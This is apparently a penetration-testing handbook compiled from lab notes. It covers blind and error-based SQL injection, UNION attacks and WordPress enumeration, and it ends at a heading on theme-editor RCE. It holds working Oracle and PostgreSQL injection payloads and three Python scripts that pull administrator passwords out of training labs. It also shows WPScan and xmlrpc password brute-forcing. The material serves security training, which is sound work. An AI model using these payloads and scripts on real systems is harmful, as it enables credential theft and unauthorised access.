#### Step 3: Confirm `administrator` Row
First, check the row directly:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' || (SELECT '' FROM users WHERE username='administrator') || '
```
Then validate your error channel baseline:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' || (SELECT CASE WHEN (1=0) THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
```
Now trigger an error only if `administrator` exists:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' || (
SELECT CASE
WHEN (1=1) THEN TO_CHAR(1/0)
ELSE ''
END
FROM users
WHERE username='administrator'
) || '
```
One-liner (Burp-friendly):
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
```
False-user check (should stay `200`):
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='fwefwoeijfewow') || '
```
* Error response (`500`) -> condition true
* Normal response (`200`) -> condition false
Why both payloads can still return `200` in blind SQLi:
* `username='administrator'` and `username='fake_user'` checks can both be
syntactically valid and non-crashing.
* `200` only means the query executed, not that your condition was true.
* You need a conditional side effect (error or delay) to create a visible
true/false signal.
#### Step 4: Find Password Length
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' || (
SELECT CASE
WHEN (1=1) THEN TO_CHAR(1/0)
ELSE ''
END
FROM users
WHERE username='administrator' AND LENGTH(password)>19
) || '
```
One-liner (Burp-friendly):
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' AND LENGTH(password)>19) || '
```
Adjust the number until you identify the exact length.
#### Step 5: Extract Password Characters
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' || (
SELECT CASE
WHEN (1=1) THEN TO_CHAR(1/0)
ELSE ''
END
FROM users
WHERE username='administrator' AND SUBSTR(password,1,1)='a'
) || '
```
One-liner (Burp-friendly):
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' AND SUBSTR(password,1,1)='a') || '
```
Change position and candidate character until all characters are confirmed.
Recovered password in this run:
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
wjuc497wl6szhbtf0cbf
```
#### Python Automation
##### 1) My Version
```python theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
import requests
url = "https://0ab600ed03fa738380f00da500d200c4.web-security-academy.net/"
chars = list('abcdefghijklmnopqrstuvwxyz0123456789')
password = ""
switch = True
counter = 1
while switch:
switch = False
for i in range(0, len(chars)):
payload = f"dtzF9IcZvrKHYyez' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and substr(password,{counter},1)='{chars[i]}') || '"
headers = {'Cookie' : f'TrackingId={payload}; session=7lX1aOCANa2tHPmFi5uwxzYV8CQVaxtC'}
r = requests.get(url, headers=headers)
print(r.status_code)
if r.status_code == 500:
password = password + chars[i]
switch = True
counter += 1
print(password)
```
##### 2) My Version (AI Improved)
```python theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
import requests
url = "https://0a3f0090039da8e28008128b001700f6.web-security-academy.net/"
chars = '0123456789abcdefghijklmnopqrstuvwxyz' # ASCII order
session = requests.Session()
TRACKING_ID = "1ZQg7u4x2pUganpD"
SESSION_COOKIE = "Mbce8cZSOv2mUbykvP8EK2UY2WGgkU24"
def check_greater_than(position, char):
"""Check if character at position is greater than char"""
payload = f"{TRACKING_ID}' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and substr(password,{position},1)>'{char}') || '"
headers = {'Cookie': f'TrackingId={payload}; session={SESSION_COOKIE}'}
r = session.get(url, headers=headers, timeout=10)
return r.status_code == 500
def char_exists_at_position(position, char):
"""Verify the character actually equals what we found"""
payload = f"{TRACKING_ID}' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and substr(password,{position},1)='{char}') || '"
headers = {'Cookie': f'TrackingId={payload}; session={SESSION_COOKIE}'}
r = session.get(url, headers=headers, timeout=10)
return r.status_code == 500
def find_char_at_position(position):
"""Binary search to find character at given position"""
low, high = 0, len(chars) - 1
while low < high:
mid = (low + high) // 2
if check_greater_than(position, chars[mid]):
low = mid + 1
else:
high = mid
return chars[low]
# Main extraction loop
password = ""
position = 1
while True:
char = find_char_at_position(position)
# Verify this character actually exists
if not char_exists_at_position(position, char):
break
password += char
print(f"[+] Position {position}: {char} | Password: {password}")
position += 1
print(f"\n[✓] Final password: {password}")
```
##### 3) Tutorial Version
```python theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
import sys
import requests
import urllib3
import urllib.parse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def sqli_password(url):
password_extracted = ""
for i in range(1,21):
for j in range(32,126):
sqli_payload = "' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and ascii(substr(password,%s,1))='%s') || '" % (i,j)
sqli_payload_encoded = urllib.parse.quote(sqli_payload)
cookies = {'TrackingId': 'FGDUewi6MoAn18KJ' + sqli_payload_encoded, 'session': 'VdmCjrlz6I6zAXGXEp2u32p0OXKDGhm2'}
r = requests.get(url, cookies=cookies, verify=False, proxies=proxies)
if r.status_code == 500:
password_extracted += chr(j)
sys.stdout.write('\r' + password_extracted)
sys.stdout.flush()
break
else:
sys.stdout.write('\r' + password_extracted + chr(j))
sys.stdout.flush()
def main():
if len(sys.argv) !=2:
print("(+) Usage: %s " % sys.argv[0])
print("(+) Example: %s www.example.com" % sys.argv[0])
sys.exit(-1)
url = sys.argv[1]
print("(+) Retreiving administrator password...")
sqli_password(url)
if __name__ == "__main__":
main()
```
## Extracting Sensitive Data via Verbose SQL Errors
Some applications expose raw database errors when input breaks a query. This is
often a misconfiguration, and it can reveal exactly how your payload is being
embedded.
Example after injecting a single quote into an `id` parameter:
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char
```
What this tells you:
* You are inside a single-quoted string.
* The injection point is in a `WHERE` clause.
* You likely need to close the quote and comment out the tail to keep syntax
valid.
This can turn an otherwise blind issue into a visible one if the app reflects
database error details back to you.
### Forcing Data into an Error with `CAST()`
You can intentionally trigger a type-conversion error that includes query data.
`CAST()` is useful for this:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
CAST((SELECT example_column FROM example_table) AS int)
```
If `example_column` is text, many databases throw an error like:
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
ERROR: invalid input syntax for type integer: "Example data"
```
Now the value (`Example data`) is leaked in the error message.
Why this matters:
* It gives direct data output when normal page content is blind.
* It can still work when strict character limits make larger conditional payloads
hard to use.
* It is often faster than boolean extraction when verbose errors are available.
### Lab: Visible Error-Based SQLi (Administrator Password)
Goal: leak the `administrator` password from DB errors, then log in.
#### Quick Approach
1. Confirm quote-breaking behavior in `TrackingId`:
```http theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
TrackingId=GA9UUdl1nUvjSjgU'
```
2. Use a payload that forces string-to-int conversion on the password:
```http theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
```
3. Read the DB error. If verbose errors are enabled, the failing value is shown:
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
ERROR: invalid input syntax for type integer: ""
```
4. Use the leaked password to authenticate as `administrator`.
#### Useful Mistakes I Made (and Fixes)
* Mistake: I kept the original tracking ID prefix (`GA9UUdl1nUvjSjgU`) before the injection.
Result: payload was too long and got cut mid-query.
Seen as: `... FROM users WHE'. Expected char`
Fix: remove the original value and start directly with `'` to save space.
* Mistake: I used the longer filter payload first:
```http theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
TrackingId=GA9UUdl1nUvjSjgU' AND 1=CAST((SELECT password FROM users WHERE username='administrator') AS int)--
```
Result: truncation before `WHERE` finished.
Fix: start with shorter extraction (`LIMIT 1`) to validate the technique, then refine if needed.
* Mistake: forgetting to neutralize the trailing quote from the original query.
Fix: close the string and end with `--` so the rest of the server query is ignored.
#### Compact Payload Options
Primary (short, reliable for technique validation):
```http theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
```
If multiple rows require iteration:
```http theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' AND 1=CAST((SELECT password FROM users LIMIT 1 OFFSET 0) AS int)--
```
Then increase `OFFSET` until you leak the target account, or switch to a shorter user filter if the lab allows it.
#### Lab #18 Notes (My Run)
End goal: exploit SQLi in `TrackingId`, leak admin credentials from `users`, and
log in as `administrator`.
Observed backend pattern after quote testing:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
select trackingId from trackingIdTable where trackingId='pFNjoVuG3fnTFJ3a''
SELECT * FROM tracking WHERE id = 'pFNjoVuG3fnTFJ3a'--'. Expected char
```
Payload progression I used:
```http theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
pFNjoVuG3fnTFJ3a' AND CAST((SELECT 1) as int)--
' AND 1=CAST((SELECT username from users LIMIT 1) as int)--
' AND 1=CAST((SELECT password from users LIMIT 1) as int)--
```
Recovered password in this run:
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
fc9v2vqq5gozv1cb0ibj
```
Quick validation logic:
* If payload is malformed/truncated, you get unterminated string errors.
* If CAST forces string -> int conversion, the DB error leaks the selected value.
* Once password is leaked, authenticate as `administrator` to solve the lab.
#### Understanding `Expected char`
This error text is easy to misread. It usually means your payload was truncated,
which left an unclosed string.
What a string literal means here:
* A string literal is plain text wrapped in single quotes in SQL, like `'admin'`.
* In this query, the cookie value is placed inside a string literal:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
WHERE id = ''
```
* If your injection adds or breaks `'` quotes incorrectly, SQL thinks the text
string started but never finished.
Example error:
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = 'GA9UUdl1nUvjSjgU' AND 1=CAST((SELECT password FROM users WHE'. Expected char
```
What is happening:
* Input was cut around position 95 (cookie length/validation limit).
* `WHERE` was truncated to `WHE`.
* Truncation left a dangling `'`.
* SQL parser sees a started string literal with no closing quote.
What `Expected char` actually means:
* Not "I need a specific character".
* It means: "string literal started, but input ended before completion".
Visual:
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Full payload:
' AND 1=CAST((SELECT password FROM users WHERE username='administrator') AS int)--
Server received (truncated):
' AND 1=CAST((SELECT password FROM users WHE'
```
Fix: shorten the payload to fit the limit.
```http theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
'AND CAST((SELECT password FROM users LIMIT 1)AS int)=1--
```
This removes unnecessary spaces and avoids wasting characters on the original
tracking ID prefix.
# SQL Injection UNION Attacks
Source: https://hackbook.dudji.com/attacks/web/sql-injection/sql-injection-union-attacks
Use UNION to retrieve data from other database tables via SQL injection.
The `UNION` keyword lets you append additional `SELECT` queries to the original, retrieving data from other tables:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
```
Returns a single result set with values from both tables.
Two requirements must be met for UNION to work:
* Both queries must return the **same number of columns**
* Column **data types must be compatible** between queries
To pull this off you need to determine:
1. How many columns the original query returns
2. Which of those columns can hold string data (to display your exfiltrated results)
## Determining the Number of Columns
Two methods to find the column count:
### Method 1 — ORDER BY incrementing:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- ← error here means 2 columns
```
```
The ORDER BY position number 3 is out of range of the number of items in the select list.
```
### Method 2 — UNION SELECT NULL:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL-- ← no error means 3 columns
```
```
All queries combined using a UNION, INTERSECT or EXCEPT operator
must have an equal number of expressions in their target lists.
```
`NULL` is used because it's compatible with every data type, maximizing the chance the payload succeeds. When the count matches, the database returns an extra row of nulls — look for any detectable difference in the response, whether that's extra content, a different error, or a change in page structure.
## Database-Specific Syntax
Two notable exceptions to standard syntax:
* **Oracle** — every `SELECT` needs a `FROM`, use the built-in `dual` table:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' UNION SELECT NULL FROM DUAL--
```
* **MySQL** — `--` must be followed by a space, or use `#` instead:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' UNION SELECT NULL-- ← needs a space after --
' UNION SELECT NULL#
```
## Finding Columns with a Useful Data Type
Once you know the column count, probe each column for string compatibility by placing `'a'` into one column at a time:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
```
A type mismatch throws an error like:
```
Conversion failed when converting the varchar value 'a' to data type int.
```
If no error occurs and the response contains `a`, that column can hold string data and is usable for exfiltration.
## Retrieving Interesting Data
With column count and string-compatible columns confirmed, you can pull real data. Given:
* Original query returns **2 string columns**
* Database has a `users` table with `username` and `password` columns
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' UNION SELECT username, password FROM users--
```
If you don't know the table/column names yet, you'll need to enumerate the database structure first — covered in Examining the database.
## Retrieving Multiple Values Within a Single Column
When only one string-compatible column is available, concatenate multiple values into it:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' UNION SELECT username || '~' || password FROM users--
```
`||` is Oracle's concatenation operator; `~` is just a separator so you can split the values apart. The response returns all credentials in one column:
```
administrator~s3cure
wiener~peter
carlos~montoya
```
Concatenation syntax varies by database — check the SQL injection cheat sheet for other platforms.
# WordPress Enumeration
Source: https://hackbook.dudji.com/attacks/web/wordpress/enumeration
Systematic WordPress reconnaissance to map users, plugins, themes, and exposed attack paths.
## WordPress Core Version Enumeration
You can use several manual methods to discover the installed WordPress version. The fastest starting point is reviewing page source in the browser with View page source (`CTRL + U`).
Then search for the generator meta tag (`CTRL + F`) or pull the page from CLI and filter with `curl` and `grep`.
### WP Version - Source Code
```html theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
...SNIP...
...SNIP...
```
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ curl -s -X GET http://blog.inlanefreight.com | grep '
```
Aside from version information, source code may also expose useful comments. CSS and JavaScript asset links can also reveal version hints.
### WP Version - CSS
```html theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
...SNIP...
...SNIP...
```
### WP Version - JS
```html theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
...SNIP...
...SNIP...
```
For older WordPress versions, another common source of version information is the `readme.html` file in the WordPress root directory.
## Plugins and Themes Enumeration
You can find information about installed plugins by reviewing the page source manually or filtering with `curl` and command-line utilities.
### Plugins - Passive Enumeration
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ curl -s -X GET http://blog.inlanefreight.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2
http://blog.inlanefreight.com/wp-content/plugins/wp-google-places-review-slider/public/css/wprev-public_combine.css?ver=6.1
http://blog.inlanefreight.com/wp-content/plugins/mail-masta/lib/subscriber.js?ver=5.3.3
http://blog.inlanefreight.com/wp-content/plugins/mail-masta/lib/jquery.validationEngine-en.js?ver=5.3.3
http://blog.inlanefreight.com/wp-content/plugins/mail-masta/lib/jquery.validationEngine.js?ver=5.3.3
http://blog.inlanefreight.com/wp-content/plugins/wp-google-places-review-slider/public/js/wprev-public-com-min.js?ver=6.1
http://blog.inlanefreight.com/wp-content/plugins/mail-masta/lib/css/mm_frontend.css?ver=5.3.3
```
### Themes - Passive Enumeration
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ curl -s -X GET http://blog.inlanefreight.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2
http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/bootstrap.css?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/style.css?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/colors/default.css?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/jquery.smartmenus.bootstrap.css?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/owl.carousel.css?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/owl.transitions.css?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/font-awesome.css?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/animate.css?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/magnific-popup.css?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/bootstrap-progressbar.min.css?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/js/navigation.js?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/js/bootstrap.min.js?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/js/jquery.smartmenus.js?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/js/jquery.smartmenus.bootstrap.js?ver=5.3.3
http://blog.inlanefreight.com/wp-content/themes/ben_theme/js/owl.carousel.min.js?ver=5.3.3
background: url("http://blog.inlanefreight.com/wp-content/themes/ben_theme/images/breadcrumb-back.jpg") #50b9ce;
```
Response headers may also contain version numbers for specific plugins.
Not all installed plugins and themes are discoverable passively. To enumerate them actively, send GET requests directly to plugin or theme paths on the server. A `301` redirect confirms the path exists; a `404` means it doesn't.
### Plugins - Active Enumeration
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ curl -I -X GET http://blog.inlanefreight.com/wp-content/plugins/mail-masta
HTTP/1.1 301 Moved Permanently
Date: Wed, 13 May 2020 20:08:23 GMT
Server: Apache/2.4.29 (Ubuntu)
Location: http://blog.inlanefreight.com/wp-content/plugins/mail-masta/
Content-Length: 356
Content-Type: text/html; charset=iso-8859-1
```
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ curl -I -X GET http://blog.inlanefreight.com/wp-content/plugins/someplugin
HTTP/1.1 404 Not Found
Date: Wed, 13 May 2020 20:08:18 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: ; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
```
The same applies to installed themes. To speed up enumeration, use a bash script or a tool such as `wfuzz` or `WPScan` to automate the process.
## Directory Indexing
Active plugins should not be the only area of focus when assessing a WordPress website. Even if a plugin is deactivated, it may still be accessible, and you can still reach its associated scripts and functions. Deactivating a vulnerable plugin does not improve the security of the WordPress site — it is best practice to either remove or keep up-to-date any unused plugins.
The following example shows a disabled plugin.
Browsing to the plugins directory shows the Mail Masta plugin is still accessible despite being disabled.
You can also view the directory listing using `curl` and convert the HTML output into a readable format with `html2text`.
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ curl -s -X GET http://blog.inlanefreight.com/wp-content/plugins/mail-masta/ | html2text
****** Index of /wp-content/plugins/mail-masta ******
[[ICO]] Name Last_modified Size Description
===========================================================================
[[PARENTDIR]] Parent_Directory -
[[DIR]] amazon_api/ 2020-05-13 18:01 -
[[DIR]] inc/ 2020-05-13 18:01 -
[[DIR]] lib/ 2020-05-13 18:01 -
[[ ]] plugin-interface.php 2020-05-13 18:01 88K
[[TXT]] readme.txt 2020-05-13 18:01 2.2K
===========================================================================
Apache/2.4.29 (Ubuntu) Server at blog.inlanefreight.com Port 80
```
This type of access is called Directory Indexing. It allows you to navigate the folder and access files that may contain sensitive information or vulnerable code. It is best practice to disable directory indexing on web servers so an attacker cannot gain direct access to files or folders beyond those required for the website to function.
## User Enumeration
There are two methods for performing manual username enumeration.
### First Method
Review posts to uncover the user ID and username. Hovering over the post author link reveals the user's profile URL in the browser's status bar.
The admin user is usually assigned user ID 1. Confirm this by specifying the user ID in the `author` parameter:
```
http://blog.inlanefreight.com/?author=1
```
You can also do this from the command line with `curl`. The `Location` header in the response confirms which username belongs to that ID.
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ curl -s -I http://blog.inlanefreight.com/?author=1
HTTP/1.1 301 Moved Permanently
Date: Wed, 13 May 2020 20:47:08 GMT
Server: Apache/2.4.29 (Ubuntu)
X-Redirect-By: WordPress
Location: http://blog.inlanefreight.com/index.php/author/admin/
Content-Length: 0
Content-Type: text/html; charset=UTF-8
```
If the user ID does not correspond to an existing user, you receive a `404 Not Found` response.
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ curl -s -I http://blog.inlanefreight.com/?author=100
HTTP/1.1 404 Not Found
Date: Wed, 13 May 2020 20:47:14 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: ; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
```
### Second Method
The second method queries the JSON endpoint to retrieve a list of users. From WordPress 4.7.1 onwards, this endpoint only shows whether a user is configured. Before that release, all users who had published a post were returned by default.
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ curl http://blog.inlanefreight.com/wp-json/wp/v2/users | jq
[
{
"id": 1,
"name": "admin",
"url": "",
"description": "",
"link": "http://blog.inlanefreight.com/index.php/author/admin/",
},
{
"id": 2,
"name": "ch4p",
"url": "",
"description": "",
"link": "http://blog.inlanefreight.com/index.php/author/ch4p/",
},
]
```
## Login
Once we are armed with a list of valid users, we can mount a password brute-forcing attack to attempt to gain access to the WordPress backend. This attack can be performed via the login page or the `xmlrpc.php` page.
If our POST request against `xmlrpc.php` contains valid credentials, we will receive the following output:
```shellsession title="cURL - POST Request" theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ curl -X POST -d "wp.getUsersBlogsadminCORRECT-PASSWORD" http://blog.inlanefreight.com/xmlrpc.php
isAdmin1urlhttp://blog.inlanefreight.com/blogid1blogNameInlanefreightxmlrpchttp://blog.inlanefreight.com/xmlrpc.php
```
If the credentials are not valid, we will receive a `403 faultCode` error.
```shellsession title="Invalid Credentials - 403 Forbidden" theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ curl -X POST -d "wp.getUsersBlogsadminasdasd" http://blog.inlanefreight.com/xmlrpc.php
faultCode403faultStringIncorrect username or password.
```
These last few sections introduced several methods for performing manual enumeration against a WordPress instance. It is essential to understand manual methods before attempting to use automated tools. While automated tools greatly speed up the penetration testing process, it is our responsibility to understand their impact on the systems we are assessing. A solid understanding of manual enumeration methods will also assist with troubleshooting should any automated tools not function properly or provide unexpected output.
## WPScan
WPScan is an automated WordPress scanner and enumeration tool. It determines if the various themes and plugins used by a WordPress site are outdated or vulnerable. It is installed by default on Parrot OS but can also be installed manually with `gem`.
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ gem install wpscan
```
We can issue `wpscan --hh` to verify the installation. This command will show us the usage menu with all of the available command-line switches.
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ wpscan --hh
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.1
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
Usage: wpscan [options]
--url URL The URL of the blog to scan
Allowed Protocols: http, https
Default Protocol if none provided: http
This option is mandatory unless update or help or hh or version is/are supplied
-h, --help Display the simple help and exit
--hh Display the full help and exit
--version Display the version and exit
--ignore-main-redirect Ignore the main redirect (if any) and scan the target url
-v, --verbose Verbose mode
--[no-]banner Whether or not to display the banner
Default: true
--max-scan-duration SECONDS Abort the scan if it exceeds the time provided in seconds
-o, --output FILE Output to FILE
-f, --format FORMAT Output results in the format supplied
Available choices: cli-no-colour, cli-no-color, json, cli
```
There are various enumeration options that can be specified, such as vulnerable plugins, all plugins, user enumeration, and more. It is important to understand all of the options available to us and fine-tune the scanner depending on the goal (i.e., are we just interested to see if the WordPress site is using any vulnerable plugins, do we need to perform a full audit of all aspects of the site or are we just interested in creating a user list to use in a brute force password guessing attack?).
WPScan can pull in vulnerability information from external sources to enhance our scans. We can obtain an API token from WPVulnDB, which is used by WPScan to scan for vulnerability and exploit proof of concepts (POC) and reports. The free plan allows up to 50 requests per day. To use the WPVulnDB database, just create an account and copy the API token from the users page. This token can then be supplied to WPScan using the `--api-token` parameter.
### Enumerating a Website with WPScan
The `--enumerate` flag is used to enumerate various components of the WordPress application such as plugins, themes, and users. By default, WPScan enumerates vulnerable plugins, themes, users, media, and backups. However, specific arguments can be supplied to restrict enumeration to specific components. For example, all plugins can be enumerated using the arguments `--enumerate ap`.
The default number of threads used is 5, however, this value can be changed
using the `-t` flag.
```shellsession title="WPScan Enumeration" theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ wpscan --url http://blog.inlanefreight.com --enumerate --api-token Kffr4fdJzy9qVcTk
[+] URL: http://blog.inlanefreight.com/
[+] Headers
| - Server: Apache/2.4.38 (Debian)
| - X-Powered-By: PHP/7.3.15
| Found By: Headers (Passive Detection)
[+] XML-RPC seems to be enabled: http://blog.inlanefreight.com/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| - http://codex.wordpress.org/XML-RPC_Pingback_API
[+] The external WP-Cron seems to be enabled: http://blog.inlanefreight.com/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| - https://www.iplocation.net/defend-wordpress-from-ddos
[+] WordPress version 5.3.2 identified (Latest, released on 2019-12-18).
| Found By: Rss Generator (Passive Detection)
| - http://blog.inlanefreight.com/?feed=rss2, https://wordpress.org/?v=5.3.2
[+] WordPress theme in use: twentytwenty
| Location: http://blog.inlanefreight.com/wp-content/themes/twentytwenty/
| Readme: http://blog.inlanefreight.com/wp-content/themes/twentytwenty/readme.txt
| [!] The version is out of date, the latest version is 1.2
| Style Name: Twenty Twenty
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[i] Plugin(s) Identified:
[+] mail-masta
| Location: http://blog.inlanefreight.com/wp-content/plugins/mail-masta/
| Latest Version: 1.0 (up to date)
| Found By: Urls In Homepage (Passive Detection)
| [!] 2 vulnerabilities identified:
|
| [!] Title: Mail Masta 1.0 - Unauthenticated Local File Inclusion (LFI)
| - https://www.exploit-db.com/exploits/40290/
| [!] Title: Mail Masta 1.0 - Multiple SQL Injection
| - https://wpvulndb.com/vulnerabilities/8740
[+] wp-google-places-review-slider
| [!] 1 vulnerability identified:
| [!] Title: WP Google Review Slider <= 6.1 - Authenticated SQL Injection
| Reference: https://wpvulndb.com/vulnerabilities/9933
[i] No themes Found.
[i] No Config Backups Found.
[i] No Medias Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] david
[+] roger
```
WPScan uses various passive and active methods to determine versions and vulnerabilities, as shown in the scan output above.
# WordPress Exploitation
Source: https://hackbook.dudji.com/attacks/web/wordpress/exploitation
Practical exploitation paths in WordPress after successful enumeration.
## Attacking WordPress Users
### WordPress User Bruteforce
WPScan can be used to brute force usernames and passwords. The scan report returned three users registered on the website: `admin`, `roger`, and `david`. The tool uses two kinds of login brute force attacks, `xmlrpc` and `wp-login`. The `wp-login` method will attempt to brute force the normal WordPress login page, while the `xmlrpc` method uses the WordPress API to make login attempts through `/xmlrpc.php`. The `xmlrpc` method is preferred as it is faster.
```shellsession title="WPScan - XMLRPC" theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ wpscan --password-attack xmlrpc -t 20 -U admin,david -P passwords.txt --url http://blog.inlanefreight.com
[+] URL: http://blog.inlanefreight.com/
[+] Started: Thu Apr 9 13:37:36 2020
[+] Performing password attack on Xmlrpc against 3 user/s
[SUCCESS] - admin / sunshine1
Trying david / Spring2016 Time: 00:00:01 <============> (474 / 474) 100.00% Time: 00:00:01
[i] Valid Combinations Found:
| Username: admin, Password: sunshine1
```
## Remote Code Execution (RCE) via the Theme Editor
### Attacking the WordPress Backend
